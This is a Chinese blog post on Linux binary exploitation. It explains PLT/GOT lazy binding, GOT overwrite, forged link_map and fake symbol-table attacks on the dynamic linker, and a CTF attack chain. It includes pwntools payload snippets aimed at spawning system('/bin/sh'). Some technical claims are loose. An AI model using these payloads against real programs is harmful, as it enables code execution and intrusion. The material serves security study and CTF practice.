news 2026/7/16 11:25:35

Linux二进制安全:函数重定位与GOT覆写攻击解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Linux二进制安全:函数重定位与GOT覆写攻击解析

1. 二进制安全攻防中的函数重定位机制

在Linux二进制漏洞利用领域,函数重定位流程一直是攻击者重点关注的突破口。动态链接库的函数调用需要通过PLT/GOT表完成地址解析,这个过程涉及到延迟绑定(Lazy Binding)机制。当程序首次调用外部函数时,动态链接器会通过.plt.got.plt节区协作完成地址解析,而正是这个看似正常的流程中隐藏着多个危险的安全假设。

以典型的call printf@plt指令为例,实际执行流程会经历以下关键步骤:

  1. 跳转到.plt节区中的printf桩代码
  2. .got.plt读取目标地址(首次调用时指向回跳指令)
  3. 触发动态链接器的_dl_runtime_resolve函数
  4. 完成符号查找并回填GOT表

这个过程中至少存在三处可能被攻击者利用的关键点:

  • GOT表条目在重定位前可写
  • _dl_runtime_resolve的参数控制
  • 符号查找依赖的字符串表可被污染

2. 经典GOT覆写攻击手法剖析

2.1 基础GOT劫持技术

在部分RELRO(Relocation Read-Only)保护未开启的场景下,.got.plt节区在运行时保持可写状态。攻击者通过堆溢出或格式化字符串漏洞修改GOT条目,可以将函数调用重定向到恶意代码。实际操作中需要注意以下技术细节:

// 获取GOT表地址的常用方法 void* got_printf = elf.got['printf']; // 通过pwntools获取 void* got_printf = *((void**)plt_printf+2); // 通过PLT指令推算 // 典型覆写操作 payload = flat([ b'A'*offset, p64(got_printf), p64(system_addr) ])

关键细节:现代glibc在_dl_fixup中增加了对GOT条目合法性的检查,直接修改为栈地址或堆地址可能会触发异常。建议将目标地址指向可执行内存区域。

2.2 对抗Partial RELRO保护

当二进制开启Partial RELRO时,虽然.got节区变为只读,但.got.plt仍可写。此时需要精确区分两个节区的位置:

readelf -S target | grep -E '\.got|\.got.plt'

攻击者可以通过以下方式绕过保护:

  1. 劫持.got.plt中的函数指针
  2. 利用_dl_runtime_resolve的延迟绑定特性
  3. 在首次调用目标函数前完成GOT修改

3. 针对动态链接器的高级攻击

3.1 _dl_runtime_resolve参数控制

_dl_runtime_resolve在解析符号时需要两个关键参数:

  • link_map:描述当前对象依赖关系
  • reloc_arg:重定位条目索引

通过栈溢出控制这两个参数可以实现更复杂的攻击:

# 构造伪造的link_map结构 fake_link_map = flat({ 0x0: p64(0x7ffff7ffe168), # l_addr 0x68: p64(0x600e28), # l_info[DT_STRTAB] 0x70: p64(0x600e18), # l_info[DT_SYMTAB] # ...其他必要字段... }) # 触发重解析 payload = flat([ b'A'*offset, fake_link_map, p64(reloc_index), p64(0x401030) # 返回到PLT[0] ])

3.2 符号表污染攻击

通过控制DT_STRTAB或DT_SYMTAB指针,攻击者可以操纵动态链接器的符号解析过程。典型攻击步骤包括:

  1. 泄露堆地址或库地址
  2. 在可控内存区域构造伪造字符串表
  3. 修改link_map中的l_info字段
  4. 触发对目标符号的重新解析
// 伪造的字符串表示例 char fake_strtab[] = { '\0', // 首个字节为0 's','y','s','t','e','m','\0', // 替换原函数名 '/','b','i','n','/','s','h','\0' };

4. 现代防护机制与绕过技巧

4.1 Full RELRO的突破点

当二进制编译时添加-Wl,-z,relro,-z,now参数,所有重定位条目将在加载时立即解析并设为只读。此时传统GOT覆写不再适用,但仍有以下攻击面:

  • 利用dl_iterate_phdr泄露内存布局
  • 通过__libc_dlsym进行动态解析
  • 攻击非直接绑定的函数指针

4.2 对抗符号版本检查

glibc 2.34+引入了更严格的符号版本验证,可通过以下方式绕过:

  1. 复用合法版本字符串
objdump -T libc.so.6 | grep 'puts' # 获取合法的版本标记如GLIBC_2.2.5
  1. 在伪造的符号条目中设置正确版本索引
fake_sym = flat([ p32(st_name), # 字符串表偏移 p8(0x12), # 其他标志位 p8(0), # 版本索引 p16(0), # 节区索引 p64(0), # 值/大小 ])

5. 实战案例:组合利用技巧

某CTF赛题中的真实攻击链构建:

  1. 通过栈溢出泄露libc地址
  2. 伪造包含system字符串的假符号表
  3. 修改link_mapl_info[DT_STRTAB]
  4. 触发free@plt的重新解析
  5. 最终执行system("/bin/sh")

关键payload构造:

# 步骤1:泄露libc p.sendlineafter('>', '%15$p') libc.address = int(p.recvline(),16) - 0x24083 # 步骤2:构建伪造结构 fake_strtab = b'\0'+b'system\0/bin/sh\0' fake_symtab = flat([ 0, 0x12000000, 0, 0 # 伪造的符号条目 ]) # 步骤3:修改link_map指针 payload = flat({ 0x20: p64(heap_addr), # 指向伪造的link_map 0x28: p64(0) # reloc_arg })

防御建议:开发时应确保所有动态链接函数在早期统一解析,避免运行时出现未受保护的延迟绑定。安全团队可以通过checksec --file=target快速检测RELRO保护状态。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/16 11:24:44

微信聊天记录备份终极指南:三步实现数据本地化与通用格式导出

1. 项目概述:为什么你需要一份“终极”备份?微信,这个几乎成为我们数字生活基石的App,承载的早已不只是简单的文字对话。从工作群里的重要文件、家人的语音留言,到转账记录、生活照片,再到那些承载着珍贵回…

作者头像 李华
网站建设 2026/7/16 11:23:53

VSCode Codex插件网络策略拦截原理与实战解决方案

1. 问题不是“插件打不开”,而是网络策略在 silently 拦截你的开发流 你有没有遇到过这样的场景:在办公室新部署的办公网络里,VSCode 界面一切正常,代码高亮、自动补全、Git 集成都丝滑流畅,可一旦点开左侧 Codex 插件…

作者头像 李华
网站建设 2026/7/16 11:22:35

cann/asc-devkit Compare函数文档

# Compare 【免费下载链接】asc-devkit 本项目是CANN 推出的昇腾AI处理器专用的算子程序开发语言,原生支持C和C标准规范,主要由类库和语言扩展层构成,提供多层级API,满足多维场景算子开发诉求。 项目地址: https://…

作者头像 李华
网站建设 2026/7/16 11:22:24

Unity与Android交互开发实战指南

1. 项目概述:Unity程序员如何快速掌握Android开发核心技能作为Unity开发者,当我们需要将游戏发布到Android平台时,经常会遇到各种平台相关的技术问题。上周参加鹅厂技术分享会后,我系统梳理了Unity与Android交互的核心知识点&…

作者头像 李华
网站建设 2026/7/16 11:21:44

Claude Code+OpenSpec+ECC:AI编程工程化协同开发体系

1. Claude Code OpenSpec Everything Claude Code 协同开发体系概述在当今AI辅助编程领域,开发者面临的最大挑战已经从"模型能力不足"转变为"工程化落地困难"。根据2024年Google DORA报告显示,虽然AI编码助手的采用率每提升25%&am…

作者头像 李华